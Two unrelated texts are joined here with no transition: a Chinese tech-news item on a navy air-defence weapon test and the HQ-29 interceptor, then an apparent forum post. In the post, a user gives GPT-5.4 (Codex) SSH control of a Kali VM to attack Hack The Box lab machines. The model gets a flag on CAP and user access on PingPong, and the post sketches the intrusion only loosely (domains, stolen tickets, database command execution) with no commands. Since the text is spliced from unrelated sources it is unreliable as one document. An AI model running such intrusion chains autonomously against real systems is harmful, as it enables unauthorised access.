IT之家 5 月 6 日消息,据央视新闻报道,渤海某海域, 海军试训部队圆满完成某新型末端防空反导武器系统定型试验任务 。 据介绍,多架无人靶机隐蔽突防,模拟实战化强“敌”来袭态势, 全面检验该型武器在复杂电磁环境和超低空突防条件下的拦截能力 。 IT之家注意到,在去年的九三阅兵中,我国曾向世界展示了中国防空反导体系建设的新成就,其中就包括被誉为“反导天花板”的红旗-29。据介绍,红旗-29 是新一代中段反导拦截系统,用于大气层外对中远程、洲际弹道导弹实施中段拦截,强调机动部署与动能拦截能力, 代表中国在反导防空领域达到世界领先水平 。
起因很意外,刷到一个 CTF skill 的帖子,想让 GPT-5.4 (Codex) 试试。 把链接发给了它 结果它上来就要在我电脑上装一堆工具,我当时就慌了------ 这要把我电脑搞爆炸怎么办? 况且之后少工具还要配置 然后突然想到:我 VM虚拟机 里有从24年就下下来到现在一直吃灰的Kali,工具按理来说应该是比让他安一堆工具再配置省事很多 所以 为什么不直接让它通过 SSH 用那些工具? 说干就干 照着他给我的教程 配置好了SSH连接 先找了个叫 CAP 的靶机试试水------ 很快啊 ,直接拿下flag。 然后我就飘了。 随手挑了个叫 PingPong 的,看到标注 Insane,完全不知道这意味着什么,就扔给它了 然后挂了一会后台 回来发现他连 SSH 都连不上了 翻了下聊天记录 发现压缩上下文了 把他刚做的流程全部压缩没了 所以我立马让他强制在每轮关键节点写上"日记" 这样一来就完美解决了这个问题 过程我看得云里雾里,但大概是这样: 它先进了一个域,然后发现里面还藏着第二个域……偷了几张门票……进了一个数据库……能直接执行系统命令的开关…… 具体怎么打的我就不说了——靶机还是活跃状态,HTB 规定不能发 writeup 所以就不发出攻击链了 我全程就是个观众,看着命令一条条跑,完全不知道每一步意味着什么。 中途好几次 我都怀疑它是在疯狂吃掉我的token却不干活 因为跑了一大堆 但进度始终没有推进 随后我把它写的日志发给claude帮忙看下 结果claude给出的回复让我有些惊讶 它会自己分析报错,自己换方案,遇到环境崩了就翻日记重建现场继续打。甚至会自己修复靶机故意设置的垃圾环境,并不是我想的重复转圈 疯狂消灭我的token 目前的进度是 拿到了user flag 目前进度是 root 卡在最后一步,MSSQL 登录响应异常,差一扇门没踹开。 它日志里是这么讲的 但从头到尾已经烧掉我50元了 所以现在暂时搁置了 有人试过直接给 AI SSH 权限控制 Kali 打靶机吗?还是说这个玩法早就有人搞过了,只是我没看到? 7 个帖子 - 5 位参与者 阅读完整话题